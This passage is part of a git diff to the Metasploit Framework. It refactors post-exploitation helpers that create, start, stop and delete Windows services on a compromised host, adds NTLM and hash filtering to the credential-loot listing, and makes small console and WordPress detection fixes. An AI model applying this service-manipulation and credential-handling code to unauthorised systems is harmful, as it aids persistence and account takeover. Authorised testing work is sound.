session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access) + manag = advapi32.OpenSCManagerA(machine_str,nil,access) if (manag["return"] == 0) - raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}") + raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}") end if (block_given?) begin yield manag["return"] ensure - close_sc_manager(manag["return"]) + close_service_handle(manag["return"]) end else return manag["return"] @@ -74,39 +95,115 @@ module Services # # Call advapi32.dll!CloseServiceHandle on the given handle # - def close_sc_manager(handle) + def close_service_handle(handle) if handle - session.railgun.advapi32.CloseServiceHandle(handle) + advapi32.CloseServiceHandle(handle) + end + end + + # + # Open the service with advapi32.dll!OpenServiceA on the + # target manager + # + # @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by + # OpenServiceA() + # @yield [manager] Gives the block a service handle as returned by + # advapi32.dll!OpenServiceA. When the block returns, the handle + # will be closed with {#close_service_handle}. + # @raise [RuntimeError] if OpenServiceA failed + # + def open_service_handle(manager, name, access) + handle = advapi32.OpenServiceA(manager, name, access) + if (handle["return"] == 0) + raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}") + end + + if (block_given?) + begin + yield handle["return"] + ensure + close_service_handle(handle["return"]) + end + else + return handle["return"] + end + end + + # Yield each service name on the remote host + # + # @todo Allow operating on a remote host + # @yield [String] Case-sensitive name of a service + def each_service(&block) + if load_extapi + session.extapi.service.enumerate.each(&block) + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + + keys = registry_enumkeys(serviceskey) + keys.each do |sk| + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type") + # From http://support.microsoft.com/kb/103000 + # + # 0x1 A Kernel device driver. + # + # 0x2 File system driver, which is also + # a Kernel device driver. + # + # 0x4 A set of arguments for an adapter. + # + # 0x10 A Win32 program that can be started + # by the Service Controller and that + # obeys the service control protocol. + # This type of Win32 service runs in + # a process by itself. + # + # 0x20 A Win32 service that can share a process + # with other Win32 services. + if srvtype == 32 || srvtype == 16 + yield sk + end + end + + keys end end # # List all Windows Services present # - # @return [Array] The names of the services. + # @return [Array] Array of Hashes containing Service details. May contain the following keys: + # * :name + # * :display + # * :pid + # * :status + # * :interactive # # @todo Rewrite to allow operating on a remote host # def service_list - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - a =[] - services = [] - keys = registry_enumkeys(serviceskey) - keys.each do |s| - if a.length >= 10 - a.first.join - a.delete_if {|x| not x.alive?} - end - t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s - if srvtype == "32" or srvtype == "16" - services << sk - end - rescue + if load_extapi + return session.extapi.service.enumerate + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + a =[] + services = [] + keys = registry_enumkeys(serviceskey) + keys.each do |s| + if a.length >= 10 + a.first.join + a.delete_if {|x| not x.alive?} end - } - a.push(t) + t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s + if srvtype == "32" or srvtype == "16" + services << {:name => sk } + end + rescue + end + } + a.push(t) + end end return services @@ -119,6 +216,9 @@ module Services # command executed by the service. Service name is case sensitive. Hash # keys are Name, Start, Command and Credentials. # + # If ExtAPI is available we return the DACL, LOGroup, and Interactive + # values otherwise these values are nil + # # @param name [String] The target service's name (not to be confused # with Display Name). Case sensitive. # @@ -128,18 +228,24 @@ module Services # def service_info(name) service = {} - servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s - srvstart = registry_getvaldata(servicekey,"Start").to_i - if srvstart == 2 - service["Startup"] = "Auto" - elsif srvstart == 3 - service["Startup"] = "Manual" - elsif srvstart == 4 - service["Startup"] = "Disabled" + + if load_extapi + begin + return session.extapi.service.query(name) + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("Request Error #{e} falling back to registry technique") + end end - service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s - service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s + + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" + service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s + service[:starttype] = registry_getvaldata(servicekey,"Start").to_i + service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s + service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s + service[:dacl] = nil + service[:logroup] = nil + service[:interactive] = nil + return service end @@ -149,17 +255,68 @@ module Services # Mode is a string with either auto, manual or disable for the # corresponding setting. The name of the service is case sensitive. # - # @todo Rewrite to allow operating on a remote host # - def service_change_startup(name,mode) + def service_change_startup(name, mode, server=nil) + if mode.is_a? Integer + startup_number = mode + else + case mode.downcase + when "boot" then startup_number = START_TYPE_BOOT + when "system" then startup_number = START_TYPE_SYSTEM + when "auto" then startup_number = START_TYPE_AUTO + when "manual" then startup_number = START_TYPE_MANUAL + when "disable" then startup_number = START_TYPE_DISABLED + else + raise RuntimeError, "Invalid Startup Mode: #{mode}" + end + end + + if session.railgun + begin + ret = service_change_config(name, {:starttype => startup_number}, server) + return (ret == Error::SUCCESS) + rescue Rex::Post::Meterpreter::RequestError => e + if server + # Cant do remote registry changes at present + return false + else + vprint_error("Request Error #{e} falling back to registry technique") + end + end + end + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - case mode.downcase - when "auto" then - registry_setvaldata(servicekey,"Start","2","REG_DWORD") - when "manual" then - registry_setvaldata(servicekey,"Start","3","REG_DWORD") - when "disable" then - registry_setvaldata(servicekey,"Start","4","REG_DWORD") + registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD") + end + + # + # Modify a service on the session host + # + # @param name [String] Name of the service to be used as the key + # @param opts [Hash] Settings to be modified + # @param server [String,nil] A hostname or IP address. Default is the + # remote localhost + # + # @return [GetLastError] 0 if the function succeeds + # + def service_change_config(name, opts, server=nil) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle| + ret = advapi32.ChangeServiceConfigA(service_handle, + opts[:service_type] || "SERVICE_NO_CHANGE", + opts[:starttype] || "SERVICE_NO_CHANGE", + opts[:error_control] || "SERVICE_NO_CHANGE", + opts[:path] || nil, + opts[:logroup] || nil, + opts[:tag_id] || nil, + opts[:dependencies] || nil, + opts[:startname] || nil, + opts[:password] || nil, + opts[:display] || nil + ) + + return ret['GetLastError'] + end end end @@ -167,47 +324,48 @@ module Services # Create a service that runs +executable_on_host+ on the session host # # @param name [String] Name of the service to be used as the key - # @param display_name [String] Name of the service as displayed by mmc - # @param executable_on_host [String] EXE on the remote filesystem to - # be used as the service executable - # @param startup [Fixnum] Constant used by CreateServiceA for startup - # type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto + # @param opts [Hash] Settings to be modified # @param server [String,nil] A hostname or IP address. Default is the # remote localhost # - # @return [true,false] True if there were no errors, false otherwise + # @return [GetLastError] 0 if the function succeeds # - def service_create(name, display_name, executable_on_host, startup=2, server=nil) - adv = session.railgun.advapi32 + def service_create(name, opts, server=nil) + access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS" + open_sc_manager(:host=>server, :access=>access) do |manager| - # SC_MANAGER_CONNECT 0x01 - # SC_MANAGER_CREATE_SERVICE 0x02 - # SC_MANAGER_QUERY_LOCK_STATUS 0x10 - open_sc_manager(:host=>server, :access=>0x13) do |manager| - # SC_HANDLE WINAPI CreateService( - # __in SC_HANDLE hSCManager, - # __in LPCTSTR lpServiceName, - # __in_opt LPCTSTR lpDisplayName, - # __in DWORD dwDesiredAccess, - # __in DWORD dwServiceType, - # __in DWORD dwStartType, - # __in DWORD dwErrorControl, - # __in_opt LPCTSTR lpBinaryPathName, - # __in_opt LPCTSTR lpLoadOrderGroup, - # __out_opt LPDWORD lpdwTagId, - # __in_opt LPCTSTR lpDependencies, - # __in_opt LPCTSTR lpServiceStartName, - # __in_opt LPCTSTR lpPassword - #); - newservice = adv.CreateServiceA(manager, name, display_name, - 0x0010, 0X00000010, startup, 0, executable_on_host, - nil, nil, nil, nil, nil) - adv.CloseServiceHandle(newservice["return"]) - if newservice["GetLastError"] == 0 - return true - else - return false + opts[:display] ||= Rex::Text.rand_text_alpha(8) + opts[:desired_access] ||= "SERVICE_START" + opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS" + opts[:starttype] ||= START_TYPE_AUTO + opts[:error_control] ||= "SERVICE_ERROR_IGNORE" + opts[:path] ||= nil + opts[:logroup] ||= nil + opts[:tag_id] ||= nil + opts[:dependencies] ||= nil + opts[:startname] ||= nil + opts[:password] ||= nil + + newservice = advapi32.CreateServiceA(manager, + name, + opts[:display], + opts[:desired_access], + opts[:service_type], + opts[:starttype], + opts[:error_control], + opts[:path], + opts[:logroup], + opts[:tag_id], # out + opts[:dependencies], + opts[:startname], + opts[:password] + ) + + if newservice + close_service_handle(newservice["return"]) end + + return newservice["GetLastError"] end end @@ -224,27 +382,11 @@ module Services # @raise [RuntimeError] if OpenServiceA failed # def service_start(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server, :access=>1) do |manager| - # SC_HANDLE WINAPI OpenService( - # _In_ SC_HANDLE hSCManager, - # _In_ LPCTSTR lpServiceName, - # _In_ DWORD dwDesiredAccess - # ); - # open with access SERVICE_START (0x0010) - handle = adv.OpenServiceA(manager, name, 0x10) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = adv.StartServiceA(handle["return"],0,nil) - adv.CloseServiceHandle(handle["return"]) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_START") do |service_handle| + retval = advapi32.StartServiceA(service_handle,0,nil) - # This is terrible. Magic return values should be refactored to - # something meaningful. - case retval["GetLastError"] - when 0; return 0 # everything worked - when 1056; return 1 # service already started - when 1058; return 2 # service disabled + return retval["GetLastError"] end end end @@ -260,22 +402,21 @@ module Services # @raise (see #service_start) # def service_stop(name, server=nil) - adv = session.railgun.advapi32 + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_STOP") do |service_handle| - # SC_MANAGER_SERVICE_STOP (0x0020) - open_sc_manager(:host=>server, :access=>1) do |manager| - # open with SERVICE_STOP (0x0020) - handle = adv.OpenServiceA(manager, name, 0x20) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = adv.ControlService(handle["return"],1,56) - adv.CloseServiceHandle(handle["return"]) + retval = advapi32.ControlService(service_handle,1,28) + case retval["GetLastError"] + when Error::SUCCESS, + Error::INVALID_SERVICE_CONTROL, + Error::SERVICE_CANNOT_ACCEPT_CTRL, + Error::SERVICE_NOT_ACTIVE + status = parse_service_status_struct(retval['lpServiceStatus']) + else + status = nil + end - case retval["GetLastError"] - when 0; return 0 # worked - when 1062; return 1 # already stopped or disabled - when 1052; return 2 # cannot be stopped + return retval["GetLastError"] end end end @@ -286,24 +427,11 @@ module Services # @param (see #service_start) # def service_delete(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server) do |manager| - # Now to grab a handle to the service. - # Thank you, Wine project for defining the DELETE constant since it, - # and all its friends, are missing from the MSDN docs. - # #define DELETE 0x00010000 - handle = adv.OpenServiceA(manager, name, 0x10000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + open_service_handle(manager, name, "DELETE") do |service_handle| + ret = advapi32.DeleteService(service_handle) + return ret["GetLastError"] end - - # Lastly, delete it - adv.DeleteService(handle["return"]) - - adv.CloseServiceHandle(handle["return"]) - - handle["GetLastError"] end end @@ -318,38 +446,109 @@ module Services # # def service_status(name, server=nil) - adv = session.railgun.advapi32 ret = nil - - # 0x80000000 GENERIC_READ - open_sc_manager(:host => server, :access => 0x80000000) do |manager| - # Now to grab a handle to the service. - handle = adv.OpenServiceA(manager, name, 0x80000000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + + open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager| + open_service_handle(manager, name, "GENERIC_READ") do |service_handle| + status = advapi32.QueryServiceStatus(service_handle,28) + + if (status["return"] == 0) + raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}") + else + ret = parse_service_status_struct(status['lpServiceStatus']) + end end - - status = adv.QueryServiceStatus(handle["return"],28) - if (status["return"] == 0) - raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}") - end - - vals = status['lpServiceStatus'].unpack('V*') - adv.CloseServiceHandle(handle["return"]) - - ret = { - :type => vals[0], - :state => vals[1], - :controls_accepted => vals[2], - :win32_exit_code => vals[3], - :service_exit_code => vals[4], - :check_point => vals[5], - :wait_hint => vals[6] - } end - + return ret end + + # + # Performs an aggressive service (re)start + # If service is disabled it will re-enable + # If service is running it will stop and restart + # + # @param name [String] The service name + # @param start_type [Integer] The start type to configure if disabled + # @param server [String] The server to target + # + # @return [Boolean] indicating success + # + # + def service_restart(name, start_type=START_TYPE_AUTO, server=nil) + tried = false + + begin + status = service_start(name, server) + + if status == Error::SUCCESS + vprint_good("[#{name}] Service started") + return true + else + raise RuntimeError, status + end + rescue RuntimeError => s + if tried + vprint_error("[#{name}] Unhandled error: #{s}") + return false + else + tried = true + end + + case s.message.to_i + when Error::ACCESS_DENIED + vprint_error("[#{name}] Access denied") + when Error::INVALID_HANDLE + vprint_error("[#{name}] Invalid handle") + when Error::PATH_NOT_FOUND + vprint_error("[#{name}] Service binary could not be found") + when Error::SERVICE_ALREADY_RUNNING + vprint_status("[#{name}] Service already running attempting to stop and restart") + stopped = service_stop(name, server) + if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE)) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}") + end + when Error::SERVICE_DISABLED + vprint_status("[#{name}] Service disabled attempting to set to manual") + if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type") + end + else + vprint_error("[#{name}] Unhandled error: #{s}") + return false + end + end + end + + # + # Parses out a SERVICE_STATUS struct from the + # lpServiceStatus out parameter + # + # @param (lpServiceStatus) + # + # @return [Hash] Containing SERVICE_STATUS values + # + def parse_service_status_struct(lpServiceStatus) + if lpServiceStatus + vals = lpServiceStatus.unpack('V*') + return { + :type => vals[0], + :state => vals[1], + :controls_accepted => vals[2], + :win32_exit_code => vals[3], + :service_exit_code => vals[4], + :check_point => vals[5], + :wait_hint => vals[6] + } + else + return nil + end + end + end end diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 64f4870977..59cb021e94 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -175,25 +175,9 @@ module ShadowCopy print_status("Volume Shadow Copy service is running.") else print_status("Volume Shadow Copy service not running. Starting it now...") - begin - ss_result = service_start("VSS") - case ss_result - when 0 - print_status("Volume Shadow Copy started successfully.") - when 1 - print_error("Volume Shadow Copy already running.") - when 2 - print_error("Volume Shadow Copy is disabled.") - print_status("Attempting to re-enable...") - service_change_startup("VSS","manual") - ss_result = service_start("VSS") - if ss_result == 0 - return true - else - return false - end - end - rescue + if service_restart("VSS", START_TYPE_MANUAL) + print_good("Volume Shadow Copy started successfully.") + else print_error("Insufficient Privs to start service!") return false end diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index d627ceead0..eca72a9974 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version # try to extract version from readme # Example line: # Stable tag: 2.6.6 - version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1] + version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] # readme present, but no version number return Msf::Exploit::CheckCode::Detected if version.nil? diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index eb5601fd42..975ec750f7 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2834,73 +2834,72 @@ class Core res = [] res << o.default.to_s if o.default - case o.class.to_s - - when 'Msf::OptAddress' - case o.name.upcase - when 'RHOST' - option_values_target_addrs().each do |addr| - res << addr - end - when 'LHOST' - rh = self.active_module.datastore["RHOST"] - if rh and not rh.empty? - res << Rex::Socket.source_address(rh) - else - res << Rex::Socket.source_address() - end - else + case o + when Msf::OptAddress + case o.name.upcase + when 'RHOST' + option_values_target_addrs().each do |addr| + res << addr end - - when 'Msf::OptAddressRange' - case str - when /^file:(.*)/ - files = tab_complete_filenames($1, words) - res += files.map { |f| "file:" + f } if files - when /\/$/ - res << str+'32' - res << str+'24' - res << str+'16' - when /\-$/ - res << str+str[0, str.length - 1] - else - option_values_target_addrs().each do |addr| - res << addr+'/32' - res << addr+'/24' - res << addr+'/16' - end + when 'LHOST' + rh = self.active_module.datastore["RHOST"] + if rh and not rh.empty? + res << Rex::Socket.source_address(rh) + else + res << Rex::Socket.source_address() end + else + end - when 'Msf::OptPort' - case o.name.upcase - when 'RPORT' - option_values_target_ports().each do |port| - res << port - end + when Msf::OptAddressRange + case str + when /^file:(.*)/ + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + when /\/$/ + res << str+'32' + res << str+'24' + res << str+'16' + when /\-$/ + res << str+str[0, str.length - 1] + else + option_values_target_addrs().each do |addr| + res << addr+'/32' + res << addr+'/24' + res << addr+'/16' end + end - if (res.empty?) - res << (rand(65534)+1).to_s + when Msf::OptPort + case o.name.upcase + when 'RPORT' + option_values_target_ports().each do |port| + res << port end + end - when 'Msf::OptEnum' - o.enums.each do |val| - res << val - end + if (res.empty?) + res << (rand(65534)+1).to_s + end - when 'Msf::OptPath' - files = tab_complete_filenames(str, words) - res += files if files + when Msf::OptEnum + o.enums.each do |val| + res << val + end - when 'Msf::OptBool' - res << 'true' - res << 'false' + when Msf::OptPath + files = tab_complete_filenames(str, words) + res += files if files - when 'Msf::OptString' - if (str =~ /^file:(.*)/) - files = tab_complete_filenames($1, words) - res += files.map { |f| "file:" + f } if files - end + when Msf::OptBool + res << 'true' + res << 'false' + + when Msf::OptString + if (str =~ /^file:(.*)/) + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + end end return res diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 8d20535feb..ee9a727cc1 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -68,6 +68,10 @@ class Db ] end + def allowed_cred_types + %w(password ntlm hash) + end + # # Returns true if the db is connected, prints an error and returns # false if not. @@ -676,6 +680,8 @@ class Db print_line " -p,--port List creds with logins on services matching this port spec" print_line " -s List creds matching comma-separated service names" print_line " -u,--user List users that match this regex" + print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line print_line "Examples, listing:" @@ -683,6 +689,7 @@ class Db print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds -p 22-25,445 # nmap port specification" print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" + print_line " creds -t ntlm # All NTLM creds" print_line print_line @@ -760,6 +767,9 @@ class Db host_ranges = [] port_ranges = [] svcs = [] + rhosts = [] + + set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] @@ -806,6 +816,8 @@ class Db end when "-d" mode = :delete + when '-R', '--rhosts' + set_rhosts = true else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -822,6 +834,20 @@ class Db pass_regex = Regexp.compile(pass) end + if ptype + type = case ptype + when 'password' + Metasploit::Credential::Password + when 'hash' + Metasploit::Credential::PasswordHash + when 'ntlm' + Metasploit::Credential::NTLMHash + else + print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}") + return + end + end + # normalize ports = port_ranges.flatten.uniq svcs.flatten! @@ -839,6 +865,9 @@ class Db query.each do |core| + # Exclude creds that don't match the given type + next if type.present? && !core.private.kind_of?(type) + # Exclude creds that don't match the given user if user_regex.present? && !core.public.username.match(user_regex) next @@ -880,6 +909,7 @@ class Db next end row = [ login.service.host.address ] + rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" else @@ -908,7 +938,8 @@ class Db ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } print_status("Wrote creds to #{output_file}") end - + + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} creds") if delete_count > 0 } end diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 0b862f8e61..710e364332 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -1291,7 +1291,7 @@ class Site xml << ' ' @site_config.scanConfig.scanTriggers.each do |s| - if (s.class.to_s == "Nexpose::AutoUpdate") + if s.kind_of?(Nexpose::AutoUpdate) xml << ' ' end end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 8cc2b8e457..ab67096026 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -159,15 +159,13 @@ class ClientCore < Extension path = MeterpreterBinaries.path(modname, client.binary_suffix) if opts['ExtensionPath'] - path = opts['ExtensionPath'] + path = ::File.expand_path(opts['ExtensionPath']) end if path.nil? raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller end - path = ::File.expand_path(path) - # Load the extension DLL commands = load_library( 'LibraryFilePath' => path, diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index ddd037c992..71575128f9 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -50,8 +50,6 @@ class Priv < Extension raise RuntimeError, "elevator.#{binary_suffix} not found", caller end - elevator_path = ::File.expand_path( elevator_path ) - elevator_data = "" ::File.open( elevator_path, "rb" ) { |f| diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index b93d0b4eb1..0d68a51b15 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO alias delete rm end - # - # Performs a rename from oldname to newname - # - def File.mv(oldname, newname) + # + # Performs a rename from oldname to newname + # + def File.mv(oldname, newname) request = Packet.create_request('stdapi_fs_file_move') request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname )) @@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) return response - end + end - class << self - alias move mv - alias rename mv - end + class << self + alias move mv + alias rename mv + end # # Upload one or more files to the remote remote directory supplied in diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb index 5f8e237fdb..74395ec8b9 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb @@ -370,7 +370,6 @@ class ApiConstants win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000) win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002) win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009) - win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA) win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277) win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103) @@ -2357,7 +2356,70 @@ class ApiConstants win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001) win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF) win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527) + + # Generic Access Rights win_const_mgr.add_const('GENERIC_ALL',0x10000000) + win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) + win_const_mgr.add_const('GENERIC_WRITE',0x40000000) + win_const_mgr.add_const('GENERIC_READ',0x80000000) + + + # Standard Access Rights + win_const_mgr.add_const('DELETE',0x00010000) + win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('WRITE_DAC',0x00040000) + win_const_mgr.add_const('WRITE_OWNER',0x00080000) + win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) + + # Services + win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF) + + # Service Start Types + win_const_mgr.add_const('START_TYPE_BOOT',0x00000000) + win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001) + win_const_mgr.add_const('START_TYPE_AUTO',0x00000002) + win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003) + win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004) + + # Service States + win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) + win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) + win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) + win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) + win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) + win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) + win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) + + # Service Types + win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) + win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) + win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) + win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) + win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) + win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) + + # Service Manager Permissions + win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) + win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002) + win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) + win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) + win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) + win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) + win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F) + + # Service Permissions + win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) + win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) + win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) + win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) + win_const_mgr.add_const('SERVICE_START',0x00000010) + win_const_mgr.add_const('SERVICE_STOP',0x00000020) + win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) + win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) + win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF) + win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003) win_const_mgr.add_const('AVIIF_TWOCC',0x00000002) win_const_mgr.add_const('TBTS_LEFT',0x00000001) @@ -3408,7 +3470,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002) win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001) win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B) - win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F) win_const_mgr.add_const('DI_NEEDRESTART',0x00000080) win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000) @@ -4450,7 +4511,6 @@ class ApiConstants win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000) win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000) win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000) - win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004) win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002) 